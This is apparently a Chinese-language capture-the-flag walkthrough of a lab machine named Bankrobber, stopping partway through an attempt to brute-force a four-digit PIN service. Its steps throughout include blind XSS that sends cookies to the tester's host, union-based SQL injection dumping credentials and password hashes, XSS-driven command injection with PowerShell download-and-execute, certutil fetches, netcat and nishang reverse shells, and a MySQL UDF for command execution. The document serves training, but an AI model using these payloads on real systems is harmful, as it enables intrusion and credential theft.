#XSS #CSRF #SQLInjection
靶机开启后IP为:10.10.10.154
Nmap Scan
TCP协议全部端口
sudo nmap -p- -Pn --min-rate 2000 -v 10.10.10.154 -oA scan/ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
默认脚本扫描开放端口
sudo nmap -sC -sV -O -p80,443,445,3306 10.10.10.154 -oA scan/detail
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-title: E-coin
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| tls-alpn:
|_ http/1.1
|_http-title: E-coin
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|Phone|7 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (89%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Embedded Standard 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -4m07s, deviation: 0s, median: -4m08s
| smb2-time:
| date: 2024-04-19T11:56:12
|_ start_date: 2024-04-19T11:28:13
Web
目录扫描
dirsearch -u http://10.10.10.154/
/user/
/register.php
/js
/admin/
未登录状态访问 user 和 admin 目录提示 You're not authorized to view this page。
更换字典和工具再扫一遍。
gobuster dir -t 50 -u http://10.10.10.154 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x txt,php -f -r -e -o scan/gobuster_dir_low_medium
http://10.10.10.154/index.php/ (Status: 200) [Size: 8245]
http://10.10.10.154/cgi-bin/ (Status: 403) [Size: 1058]
http://10.10.10.154/img/ (Status: 200) [Size: 4341]
http://10.10.10.154/register.php/ (Status: 200) [Size: 0]
http://10.10.10.154/icons/ (Status: 200) [Size: 74798]
http://10.10.10.154/user/ (Status: 200) [Size: 39]
http://10.10.10.154/admin/ (Status: 200) [Size: 40]
http://10.10.10.154/link.php/ (Status: 200) [Size: 0]
http://10.10.10.154/css/ (Status: 200) [Size: 3795]
http://10.10.10.154/js/ (Status: 200) [Size: 4717]
http://10.10.10.154/examples/ (Status: 503) [Size: 1058]
http://10.10.10.154/logout.php/ (Status: 400) [Size: 980]
http://10.10.10.154/licenses/ (Status: 403) [Size: 1203]
http://10.10.10.154/error/ (Status: 403) [Size: 1058]
http://10.10.10.154/fonts/ (Status: 200) [Size: 3254]
...
扫描同时打开首页,可以看到两个功能点,注册和登录。

点击会跳转到对应页面位置。登录会想 login.php 发出 POST 请求,注册则是向 register.php 发出 POST 请求。
注册一个账号,然后登录:
test:test
登录后的页面还是一个 form 表单,作用是交易 E-coin。

XSS
尝试 XSS 攻击。
<script>alert('a')</script>
<script>alert('id')</script>
<script>alert('com')</script>
打开 burp 观察请求,只有 comment 中的 payload 被提交了,其他两个字段似乎都被过滤了。

提交后页面提示

Transfer on hold. An admin will review it within a minute. After that he will decide whether the transaction will be dropped or not.
从页面来看,像是 blind xss,所以更换 payload,本地搭建 web server,向本地发出请求。
<script src='http://10.10.16.18'>1</script>
虽然收到了请求,但是不知道是哪个payload成功了
python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.154 - - [19/Apr/2024 08:34:18] "GET / HTTP/1.1" 200 -
所以这里细分一下:
// comment
'><script src='http://10.10.16.18/1'>1</script>
"><script src='http://10.10.16.18/2'>2</script>
<script src='http://10.10.16.18/3'>3</script>
等了一会,三个 payload 都可以发出请求。
python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.154 - - [19/Apr/2024 08:34:18] "GET / HTTP/1.1" 200 -
10.10.10.154 - - [19/Apr/2024 08:38:14] code 404, message File not found
10.10.10.154 - - [19/Apr/2024 08:38:14] "GET /2 HTTP/1.1" 404 -
10.10.10.154 - - [19/Apr/2024 08:38:14] code 404, message File not found
10.10.10.154 - - [19/Apr/2024 08:38:14] "GET /3 HTTP/1.1" 404 -
10.10.10.154 - - [19/Apr/2024 08:38:14] code 404, message File not found
10.10.10.154 - - [19/Apr/2024 08:38:14] "GET /1 HTTP/1.1" 404 -
这个靶机 cookie 中并没有 http-only 同时 用户名和密码都在cookie中,尝试盗取cookie
- success
"><script src='http://10.10.16.18/test.js'>2</script>
test.js
new Image().src='http://10.10.16.18/index.php?c='+document.cookie;
/index.php?c=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1
解码后得到 admin 帐户密码。
admin:Hopelessromantic
失败:
暂不清楚原因
"><script>new Image().src="http://10.10.16.18/cookie.php?c="+document.cookie;</script>
"><script>fetch(`http://10.10.16.18/?cookie=${btoa(document.cookie)}`)</script>
admin
红框处的地方就是提交的 payload

notes.txt
- Move all files from the default Xampp folder: TODO
- Encode comments for every IP address except localhost: Done
- Take a break..
search user
输入 1,显示

burp 查看请求是向 /admin/search.php 发出 POST 请求,参数是 term,尝试SQL注入,成功
term=1' or 1=1 -- -

Backdoorchecker
To quickly identify backdoors located on our server; we implemented this function. For safety issues you’re only allowed to run the ‘dir’ command with any arguments.
输入 dir 提示仅允许 localhost 访问。
It’s only allowed to access this function from localhost (::1). This is due to the recent hack attempts on our server.
尝试添加请求头但是没有效果
X-Forwarded-For: http://localhost/
Origin: localhost
Referer: localhost
notes.txt 中也有提到对除 localhost 之外的每个 IP 地址将进行编码
SQL Injection
curl -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="1' or 1=1 -- -"
结果如下:
猜测三个字段,测试成功。
curl -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select 1,2,3 -- -"
basic query
当前数据库用户和数据库名
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select user(),database(),3 -- -" | html2text | tail -n +2
root@localhost bankrobber
所有数据库
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select @@version,table_schema,3 from information_schema.tables -- -" | html2text | tail -n +2
10.1.38-MariaDB bankrobber
10.1.38-MariaDB information_schema
10.1.38-MariaDB mysql
10.1.38-MariaDB performance_schema
10.1.38-MariaDB phpmyadmin
数据库版本和当前数据库的表,其中users 表最可疑。
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select @@version,table_name,3 from information_schema.tables where table_schema=database() -- -" | html2text | tail -n +2
10.1.38-MariaDB balance
10.1.38-MariaDB hold
10.1.38-MariaDB users
查看这些表的字段
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select column_name,table_name,3 from information_schema.columns where table_schema=database()-- -" | html2text | tail -n +2
id balance
userid balance
amount balance
id hold
userIdFrom hold
userIdTo hold
amount hold
comment hold
id users
username users
password users
优先查看 users 表的内容
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select username,password,3 from users s-- -" | html2text | tail -n +2
admin Hopelessromantic
gio gio
test test
是注册用户名和密码,这已经拿到了。
mysql password
查询数据库的密码:
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select user,password,3 from mysql.user s-- -" | html2text | tail -n +2
root *F435725A173757E57BD36B09048B8B610FF4D0C4
pma
echo '*F435725A173757E57BD36B09048B8B610FF4D0C4' >> database.hash
尝试暴力破解但是没有成功
john -w=/usr/share/wordlists/rockyou.txt database.hash
查看 secure_file_priv,结果为空
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select @@secure_file_priv,2,3 -- -" | html2text | tail -n +2
ID User
2
load_file
可以直接尝试使用 load_file 函数,首先读取任意文件,读取成功大概率 secure_file_priv 未做限制
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('C:\\\\windows\\\\win.ini'),2,3 -- -" | html2text | tail -n +2
其次还可以尝试通过 UNC path 窃取 NetNTLM hash
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('\\\\\\\\10.10.16.18\\\\share'),2,3 -- -"
这里用了8个反斜杠,首先在 bash 命令行双引号中需要一次 转义,四个反斜杠,然后SQL语句中转义一次,省事就直接乘2,可以通过在 curl 添加 -x http://127.0.0.1:8080 在 burp 中调试
impacket-smbserver share `pwd` -smb2support
..
[*] Incoming connection (10.10.10.154,50408)
[*] AUTHENTICATE_MESSAGE (BANKROBBER\Cortin,BANKROBBER)
[*] User BANKROBBER\Cortin authenticated successfully
[*] Cortin::BANKROBBER:aaaaaaaaaaaaaaaa:f5a8ca7409772a1f37d1f4b1fb155160:0101000000000000805bce1a6392da018431b27965174e2700000000010010004e006c007200430070006a004d005800030010004e006c007200430070006a004d00580002001000540063004f0062007a0055004f00440004001000540063004f0062007a0055004f00440007000800805bce1a6392da0106000400020000000800300030000000000000000000000000200000ef0c001cb79ffe216cb2d8a74a026b3c18b12b82c16539a01e0ed5c96dfa47930a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e0031003800000000000000000000000000
[*] Connecting Share(1:share)
[*] Disconnecting Share(1:share)
[*] Closing down connection (10.10.10.154,50408)
[*] Remaining connections []
爆破,同样没有结果。
john -w=/usr/share/wordlists/rockyou.txt Cortin.hash
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/apache/conf/httpd.conf'),2,3 -- -"
查看其他配置文件,但是没有收获。
\xampp\apache\conf\extra\httpd-xampp.conf
\xampp\apache\conf\httpd.conf
conf/extra/httpd-userdir.conf
Include conf/extra/httpd-mpm.conf
Include conf/extra/httpd-multilang-errordoc.conf
Include conf/extra/httpd-autoindex.conf
Include conf/extra/httpd-languages.conf
Include conf/extra/httpd-userdir.conf
Include conf/extra/httpd-info.conf
Include conf/extra/httpd-vhosts.conf
Include "conf/extra/httpd-proxy.conf"
Include "conf/extra/httpd-default.conf"
Include "conf/extra/httpd-xampp.conf"
<IfModule proxy_html_module>
Include conf/extra/proxy-html.conf
</IfModule>
Include conf/extra/httpd-ssl.conf
<IfModule ssl_module>
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
</IfModule>
AcceptFilter http none
AcceptFilter https none
<IfModule mod_proxy.c>
Include "conf/extra/httpd-ajp.conf"
</IfModule>
</IfModule>
write_file
还有一种方法,尝试写入 php webshell,但是这种方法需要知道 web 目录绝对路径,这里只能猜测。前面在 notes.txt 中提到了 Xampp,Xampp 的路径一般都是 C:\xampp\htdocs\
echo -n '<?php system($_GET[cmd]);?>' | xxd -u -p
3C3F7068702073797374656D28245F4745545B636D645D293B3F3E
这里在burp中写入
UNION SELECT 3C3F7068702073797374656D28245F4745545B636D645D293B3F3E,'','' INTO OUTFILE '/xampp/htdocs/system.php'
但是报错:
There is a problem with your SQL syntax
而尝试写入 C:\progradmata 目录写入成功,说明当前目录确实没有写入权限。
这里能想到的目录都尝试了,如 user、admin、css、js等都没有成功,所以通过SQL注入写 shell 应该是行不通的。
php file
写入的过程中想到了可以读取 PHP file,同时还能验证绝对路径是否正确,读取成功,路径正确
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/index.php'),2,3 -- -"
那这里就是寻找有用的 PHP 文件,然后审计代码。查看 admin 目录下的 php 文件
search.php
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/admin/search.php'),2,3 -- -"
对输入未做任何过滤直接放入 SQL 查询语句中,存在 SQL注入漏洞。
<?php
include('../link.php');
include('auth.php');
if(isset($_POST['term'])){
$term = $_POST['term'];
$stmt = $pdo->query("SELECT * from users WHERE id = '$term'") or die("There is a problem with your SQL syntax");
echo "<table width='90%'><tr><th>ID</th><th>User</th></tr>";
while($row = $stmt->fetch()){
echo "
<tr>
<td>$row[0]</td>
<td>$row[1]</td>
</tr>
";
}
echo "</table>";
}
?>
backdoorchecker.php
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/admin/backdoorchecker.php'),'',3 -- -" | html2text
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
if(isset($_POST['cmd'])){
// FILTER ESCAPE CHARS
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
}
}
// CHECK IF THE FIRST 2 CHARS ARE LS
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good command");
}
if($_SERVER['REMOTE_ADDR'] == "::1"){
system($_POST['cmd']);
} else{
echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
}
}
} else{
echo "You are not allowed to use this function!";
}
?>
查看过滤手段
$good = "dir";
substr($_POST['cmd'], 0,strlen($good)) != $good
切割字符串只判断前3位是否为dir,所以只要以 dir 开头就能绕过。
$_SERVER[‘REMOTE_ADDR’] == “::1” 这个似乎是无法伪造的
auth.php
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/admin/auth.php'),'',3 -- -"
认证文件,将用户名密码硬编码在文件中,证明确实是 cookie 传值。
<?php
error_reporting(0);
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
if($username != "admin" || $password != "Hopelessromantic"){
die("You're not authorized to view this page");
}
?>
link.php
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/link.php'),'',3 -- -"
其中有数据库的凭据
<?php
$user = 'root';
$pass = 'Welkom1!';
$dsn = "mysql:host=127.0.0.1;dbname=bankrobber;";
$pdo = new PDO($dsn,$user,$pass);
function echoBalance($pdo){
$pdo = $pdo;
if(isset($_COOKIE['id'])){
$stmt = $pdo->prepare("SELECT amount FROM balance where userId = ?");
$stmt->execute([$_COOKIE['id']]);
while($row = $stmt->fetch()){
return $row[0];
}
}
}
?>
mysql -uroot -p'Welkom1!' -h 10.10.10.154
ERROR 1130 (HY000): Host '10.10.16.18' is not allowed to connect to this MariaDB server
无法连接。
XSS + CSRF
backdoorchecker.php 要求 $_SERVER[‘REMOTE_ADDR’] == “::1”,从外部显然不可能,REMOTE_ADDR这个值也不可能伪造,只有内网访问 localhost 才会解析成 “::1”,ipv6 要优先于 ipv4。
内网访问我想到了 CSRF,恰好靶机会定期触发 XSS 漏洞,在获取 cookie 的位置构造恶意请求,使管理员帮助我们执行命令。
因为 XSS 没有回显,所以还是本地搭建 web server,让靶机发出请求,但是没有成功。这里使用 XMLHttpRequest 对象发出 POST 请求。
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dir;curl http://10.10.16.18:81');
</script>
这里尝试很多种payload 但是没有记录下来,简单记录下心路历程,思考过程。最开始像前面获取 cookie 那样用的加载远程 js 文件攻击,但是没有成功,后来开窍了可以直接在输入框中写入。
尝试的过程存在几个问题,第一用 curl,第二用 ; 分隔多个命令。
首先用 curl 存在问题,因为靶机是 Windows 2008 不一定内置 curl。
其次 windows cmd 中分号 ; 并不能执行多个命令,结合 backdoorchecker.php 文件中的过滤,& 不能使用,尝试换行符 %0a 也没效果,所以只能使用 ||。而 || 在前一个命令失败时才能执行下一个命令。
另外还需要确定 XSS 是否真的成功执行命令,这个很重要,只有确定执行命令然后才能注入其他命令。
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dir>/programdata/test');
</script>
这段时间测试的时候一直不能收到靶机的请求,想到可以测试 dir 命令是否被成功执行,先将命令结果写入到文件,然后利用 SQL注入 读取该文件,如果成功则命令执行成功。
成功读取到文件后,尝试命令注入:
先测试第二个命令是否被成功执行,这里我想查看web目录结构,想找找可能可以写入的目录,但是失败了,没找到原因,
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirs||dir /s C:\\xampp\\htdocs>/programdata/test2');
</script>
这里尝试的思路就是频繁更换命令,这个失败:
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dir /s /xmapp/htdocs >/programdata/test');
</script>
这个命令本地试了,cmd 中似乎不能使用 / 当作路径分隔符,会被当作参数
在这里我想到了 curl 失败的原因,就尝试了 certutil
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirsasd||certutil -urlcache -f http://10.10.16.18');
</script>
成功收到请求

然后尝试ping
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirsasd||ping 10.10.16.18');
</script>
ping 命令可以

powershell WebClient.DownloadString 方法同样成功。
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send("cmd=dirsasd||powershell (new-object net.webclient).downloadstring('http://10.10.16.18')");
</script>
其他尝试:
"><script src='http://10.10.16.18/cs.js'>2</script>
form 表单构造的 POST 请求尝试失败并未成功。
"><form id="autosubmit" action="http://localhost/admin/backdoorchecker.php" method="POST"><input type="hidden" name="cmd" value="dir curl http://10.10.16.18" /><input type="submit" value="Submit request" /></form><script>document.getElementById("autosubmit").submit();</script>
"><form id="autosubmit" action="http://localhost/admin/backdoorchecker.php" method="POST"><input type="hidden" name="cmd" value="dir%25%30%61curl http://10.10.16.18" /><input type="submit" value="Submit request" /></form><script>document.getElementById("autosubmit").submit();</script>
"><form id="autosubmit" action="http://localhost/admin/backdoorchecker.php" method="POST"><input type="hidden" name="cmd" value="dirasdas||ping 10.10.16.18" /><input type="submit" value="Submit request" /></form><script>document.getElementById("autosubmit").submit();</script>
reverse shell
可以执行命令首先还是最好反弹shell,使用 nishang 或者 nc,用 nc 需要先下载 nc 到靶机然后再反弹shell,
nishang
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.18 -Port 1234' >> shell.ps1
替换关键字做一个简单的混淆:
sed -i 's/Invoke-PowerShellTcp/test/g' shell.ps1
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send("cmd=dirsasd||powershell iex(new-object net.webclient).downloadstring('http://10.10.16.6/shell.ps1')");
</script>
等待一段时间获得 shell。
nc
下载 nc 到当前目录
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirsasd||certutil -urlcache -f http://10.10.16.18/nc.exe C:\\programdata\\nc.exe');
</script>
下载到本地需要一段时间而 nc 执行可能会比下载完成更快,所以还是先下载然后再反弹shell。
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirsasd||C:\\programdata\\nc.exe -e cmd 10.10.16.18 4545');
</script>
Priv
Scantools
上传 winpeas 枚举
winpeas
php -S 0:81
iwr http://10.10.16.18:81/winPEASany_ofs.exe -outfile \programdata\winPEASany_ofs.exe
certutil -urlcache -f http://10.10.16.18:81/winPEASx64.exe \programdata\winPEASx64.exe
\programdata\winPEASx64.exe > \programdata\win.txt
但是运行时间比较长,等一段时间 win.txt 很大,遂杀掉进程

winpeas 可以指定信息
.\winPEASx64.exe systeminfo servicesinfo applicationsinfo browserinfo filesinfo userinfo
[!] CVE-2019-0836 : VULNERABLE
[>] https://exploit-db.com/exploits/46718
[>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
[!] CVE-2019-1064 : VULNERABLE
[>] https://www.rythmstick.net/posts/cve-2019-1064/
[!] CVE-2019-1130 : VULNERABLE
[>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
[!] CVE-2019-1315 : VULNERABLE
[>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
[!] CVE-2019-1388 : VULNERABLE
[>] https://github.com/jas502n/CVE-2019-1388
[!] CVE-2019-1405 : VULNERABLE
[>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
[>] https://github.com/apt69/COMahawk
[!] CVE-2020-0668 : VULNERABLE
[>] https://github.com/itm4n/SysTracingPoc
[!] CVE-2020-0683 : VULNERABLE
[>] https://github.com/padovah4ck/CVE-2020-0683
[>] https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/cve-2020-0683.ps1
[!] CVE-2020-1013 : VULNERABLE
[>] https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/
[*] Finished. Found 9 potential vulnerabilities.

Powerup.ps1
python -m http.server 81 -d /usr/share/powershell-empire/empire/server/data/module_source/privesc/
iex(new-object Net.webclient).downloadstring('http://10.10.16.18:81/PowerUp.ps1')
Invoke-AllChecks
Kan Service Control Manager op de computer . niet openen. Hiervoor zijn wellicht andere bevoegdheden vereist
Manual Enum
根目录下 bankv2.exe 文件比较可疑,下载到本地
PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 24-4-2019 21:27 PerfLogs
d-r--- 21-10-2022 10:32 Program Files
d-r--- 21-10-2022 10:34 Program Files (x86)
d-r--- 24-4-2019 15:52 Users
d----- 11-1-2021 15:17 Windows
da---- 24-4-2019 21:18 xampp
-a---- 25-4-2019 16:50 57937 bankv2.exe
impacket-smbserver share `pwd` -smb2support -user test -pass test
net use \\10.10.16.18\share /u:test test
copy \bankv2.exe \\10.10.16.18\share\bankv2.exe
bankv2.exe 似乎被占用,因为当前机器语言不是英文,报错看不明白。
查看开放端口
netstat -anto -p tcp
Active Connections
Proto Local Address Foreign Address State PID Offload State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 3460 InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 760 InHost
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 3460 InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:910 0.0.0.0:0 LISTENING 1632 InHost
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 3488 InHost
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 480 InHost
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 912 InHost
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 864 InHost
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1512 InHost
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 608 InHost
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 616 InHost
TCP 10.10.10.154:80 10.10.16.18:56142 TIME_WAIT 0 InHost
TCP 10.10.10.154:80 10.10.16.18:56148 TIME_WAIT 0 InHost
TCP 10.10.10.154:80 10.10.16.18:56858 TIME_WAIT 0 InHost
TCP 10.10.10.154:139 0.0.0.0:0 LISTENING 4 InHost
TCP 10.10.10.154:51077 10.10.16.18:1234 ESTABLISHED 4300 InHost
TCP 10.10.10.154:51089 10.10.16.18:1234 ESTABLISHED 2624 InHost
TCP 127.0.0.1:3306 127.0.0.1:51074 ESTABLISHED 3488 InHost
TCP 127.0.0.1:3306 127.0.0.1:51087 ESTABLISHED 3488 InHost
TCP 127.0.0.1:51074 127.0.0.1:3306 ESTABLISHED 3608 InHost
TCP 127.0.0.1:51087 127.0.0.1:3306 ESTABLISHED 3608 InHost
TCP 127.0.0.1:51156 127.0.0.1:3306 TIME_WAIT 0 InHost
TCP 127.0.0.1:51157 127.0.0.1:3306 TIME_WAIT 0 InHost
TCP 127.0.0.1:51158 127.0.0.1:3306 TIME_WAIT 0 InHost
保存一个不是本机用户的凭据:
cmdkey /list
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02qanreinoqz
Local machine persistence
kernel
内核提权失败
CVE-2019-1405 and CVE-2019-1322
proxychains wget https://github.com/apt69/COMahawk/releases/download/1.0/COMahawk64.exe
curl http://10.10.16.18/COMahawk64.exe -outfile .\COMahawk64.exe
failed
pivot
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz
上传 chisel
curl http://10.10.16.6:8081/chisel.exe -outfile \programdata\chisel.exe
kali:
chisel server -p 9999 --reverse
victim:
在后台运行
start-process "\programdata\chisel.exe" -ArgumentList "client 10.10.16.6:9999 R:9050:socks R:3306:127.0.0.1:3306 R:910:127.0.0.1:910" -WindowStyle Hidden
mysql -uroot -p'Welkom1!' -h127.0.0.1
MariaDB [bankrobber]> show variables like '%plugin_dir%';
+---------------+----------------------------+
| Variable_name | Value |
+---------------+----------------------------+
| plugin_dir | C:\xampp\mysql\lib\plugin\ |
+---------------+----------------------------+
1 row in set (0.091 sec)
MariaDB [bankrobber]> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.180 sec)
C:\xampp\mysql\ 下没有 lib 目录需要创建。
mkdir C:\xampp\mysql\lib\plugin\
udf
cp /home/kali/Documents/HTBox/office/lib_mysqludf_sys_64.dll .
curl http://10.10.16.6/lib_mysqludf_sys_64.dll -o \programdata\udf64.dll
SELECT load_file('C:\\programdata\\udf64.dll') INTO DUMPFILE '/xampp/mysql/lib/plugin/udf.dll'
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
MariaDB [bankrobber]> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| bankrobber\cortin |
+--------------------+
1 row in set (0.107 sec)
MySQL 以 cortin 用户身份执行。
910
nc -nv 127.0.0.1 910
(UNKNOWN) [127.0.0.1] 910 (?) open
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$] 1234
[!] Access denied, disconnecting client....
910 就是 bankv2 占用的端口,但是该文件无法下载到本地分析。
这里思路是穷举四位数字,找到正确的 pin 值,然后再观察程序执行的结果。
使用 telnetlib 库:
python3+telnetlib实现简单自动测试 - zhengcixi - 博客园 参考 telnetlib 写法。
import telnetlib
